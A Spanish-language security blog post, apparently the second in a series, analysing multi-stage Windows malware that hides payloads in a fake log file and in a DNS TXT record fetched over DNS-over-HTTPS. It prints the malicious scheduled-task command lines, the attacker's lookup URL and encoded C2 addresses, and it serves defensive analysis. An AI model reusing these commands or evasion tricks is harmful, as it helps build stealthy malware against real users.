Recientemente descubrimos un malware realmente peculiar, al que hemos llamado en broma “el regalo que sigue dando.” Y mientras más profundizamos en él, más cosas encontramos para descubrir y desarmar.
Considero que este es un malware “de múltiples etapas y múltiples payloads,” ya que funciona a través de muchas capas distintas de abstracción. Después de tantas capas de complejidad y trucos ingeniosos, queda claro lo invaluable que es tener analistas humanos que revisen y hagan ingeniería inversa del malware.
Nota: Esta es la segunda parte de una publicación anterior del blog, Hiding in Plain Sight, que describe el punto de apoyo inicial.
Resumen
En la publicación anterior del blog mostramos el extraño “archivo de registro” a.chk que incluía caracteres “hexadecimales” (pero en realidad decimales) que se extraían y usaban para generar un payload de PowerShell.
¿Ves los códigos “hex” en la columna más a la derecha?
Este archivo se descubrió cuando nuestros analistas encontraron una Tarea programada peculiar:
C:\Windows\system32\BfeOnService.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\"cmd.exe /C C:\Windows\system32\engine.exe -c \"\"IEX $($(gc 'C:\Windows\a.chk'|%{[char][int]($_.split('x')[-1])})-join'')\"\"\",0,True)(window.close)
Nuestra publicación anterior del blog explica el funcionamiento interno de este comando y cómo usa binarios legítimos de Windows para extraer y ejecutar nuevo código de PowerShell.
Quitando las capas
Si bien este actúa como el primer payload inicial, el código de PowerShell contiene otro conjunto de datos ofuscados y codificados. Al analizarlo, fue fácil ver que este payload secundario incluía esta cadena:
https://dns.google.com/resolve?name=dmarc.jqueryupdatejs.com&type=txt
¿Ves ese dmarc.jqueryupdatejs.com? Cualquiera que esté familiarizado con JavaScript o la biblioteca jQuery podría reconocer este lenguaje, pero incluso alguien sin ese conocimiento podría notar que jqueryupdatejs.com se ve un poco sospechoso.
Este payload secundario en realidad está obteniendo otro payload más usando DNS sobre HTTPS.
Esa URL, https://dns.google.com/, se usa para interactuar con el servidor de nombres de dominio de Google 8.8.8.8 mediante el protocolo de transferencia de hipertexto (HTTP).
Esto puede parecer intimidante, pero puedes analizar el código que hace esta solicitud:
Usar “DNS sobre HTTP” como medio para recibir otro payload de malware es un truco muy ingenioso: aunque el filtrado de DNS podría estar implementado en una red segura, es mucho menos probable que el acceso HTTP a google.com esté limitado o bloqueado.
También es interesante que esta consulta DNS no se trata de identificar la dirección IP del dominio para establecer una conexión. El siguiente payload en realidad está incrustado dentro de la respuesta del registro TXT de DNS.
Veamos:
Nota que el payload solicita un registro de recurso TXT para este dominio sospechoso jqueryupdatejs.com . El código JSON de arriba muestra la respuesta de esta solicitud.
¿Ves algo extraño? Fíjate en ese campo de datos.
"data": "\"v=DKIM1; k=rsa; p=/NkBspI4LG64/nlEJ5sKjBiKA2L0Oi0B/TVRRNE5ESXpPRFk0T0E9PQ/mvYI54xdsqEmW/TVRRNE5ESXpPRFk0Tnc9PQ/TWpNNE9ETTN/TWpNNE9ETTNNVGszTkE9PQ/mvYI54xdsqEmW/TWpNNE9ETTNNakUwTXc9PQ/+ENwGoMUg9feAaD9qyw7KUEysv23BHGBHxInOA2FOhTOZrNWg7DQIDAQAB\""
Payload n.º 3
Ese campo de datos se ve como una firma DKIM típica. Este es solo otro truco de engaño; este malware intenta disfrazarse y pasar desapercibido.
DKIM (Domain Keys Identified Mail) es una técnica de autenticación de correo electrónico que permite al receptor verificar que un correo fue efectivamente enviado y autorizado por el propietario de ese dominio. Esto se logra dándole al correo una firma digital.
Esta respuesta señuelo está diseñada para verse muy normal e inocente, pero al revisar el código fuente, el malware hace algunas cosas interesantes con los datos.
El campo p parece ser datos en Base64. Podrías pensar que esa larga cadena es en su totalidad una sola cadena Base64, ya que una / (barra diagonal) es un carácter Base64 perfectamente válido.
Esto no se decodifica en nada con sentido, y el código fuente del payload no lo interpretaba como shellcode. De hecho, ¡estaba usando la / (barra diagonal) como delimitador!
Si decodificamos cada segmento separado por una barra diagonal, en realidad descubrimos ¡más datos en Base64! Una vez más, el malware agrega una capa adicional de complejidad.
Al intentar decodificar el segundo Base64 anidado, descubrimos… ¿números?
1484238688148423868723883723883719742388372143
Servidores de malware dinámicos
Quizás no me creas, pero esos números en realidad son direcciones IP.
Dato curioso: las direcciones IP no siempre tienen que estar en su notación de octetos “con puntos”, como 192.168.1.1 o 183.17.94.120. Al final son solo datos, y eso se puede representar igual de fácil de otra manera.
En este caso, el código del malware se comunicó con un servidor externo para descargar el payload final, que terminará instalando el stub final de comando y control, y el hacker puede abusar por completo de la máquina objetivo.
El código fuente original seleccionaba una de esas cadenas Base64 al azar, para elegir un endpoint externo de forma sigilosa.
Ten en cuenta que el atacante tenía control flexible sobre estos últimos payloads: el dominio jqueryupdatejs.com y esa entrada TXT eran externos y podían actualizarse o cambiarse fácilmente, los servidores de malware de terceros podían entrar y salir de la rotación, ¡y el payload final que se obtenía sin duda podía personalizarse en cualquier momento!
Engáñame una vez…
De hecho, hemos visto este malware más de una vez. Curiosamente, ese punto de apoyo inicial tiene solo ligeras variaciones respecto a la forma original que descubrimos.
"C:\Windows\system32\TaskUpdate.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\"cmd.exe /C C:\Windows\system32\processor.exe -c \"\"IEX $($(gc 'C:\Windows\p.lve'|%{[char][int]($_.split('x')[-1])})-join'')\"\"\",0,True)(window.close)"
El malware parecía usar un esquema particular: el doppelgänger de la aplicación legítima mshta.exe (descrito en la primera parte de esta serie de blogs) siempre se renombra como un servicio real y actualmente activo en el sistema objetivo.
El segundo programa que se ejecuta, que enmascara el powershell.exe original, se renombra con una sola palabra simple en minúsculas, y el peculiar “archivo de registro” falso se crea como un archivo con una sola letra aleatoria y una extensión de archivo aleatoria.
• • •
Hubo muchas cosas realmente singulares e ingeniosas que hizo este malware para evitar la detección. Algunos de estos trucos podrían pasar justo por delante de un programa antivirus o de protección de endpoints típico y genérico.
Aunque parece simple “esconderse a plena vista”, al quitar las capas puedes descubrir qué tan sigilosos y meticulosos deben ser los atacantes y, en última instancia, qué trucos y técnicas debemos conocer los defensores para protegernos.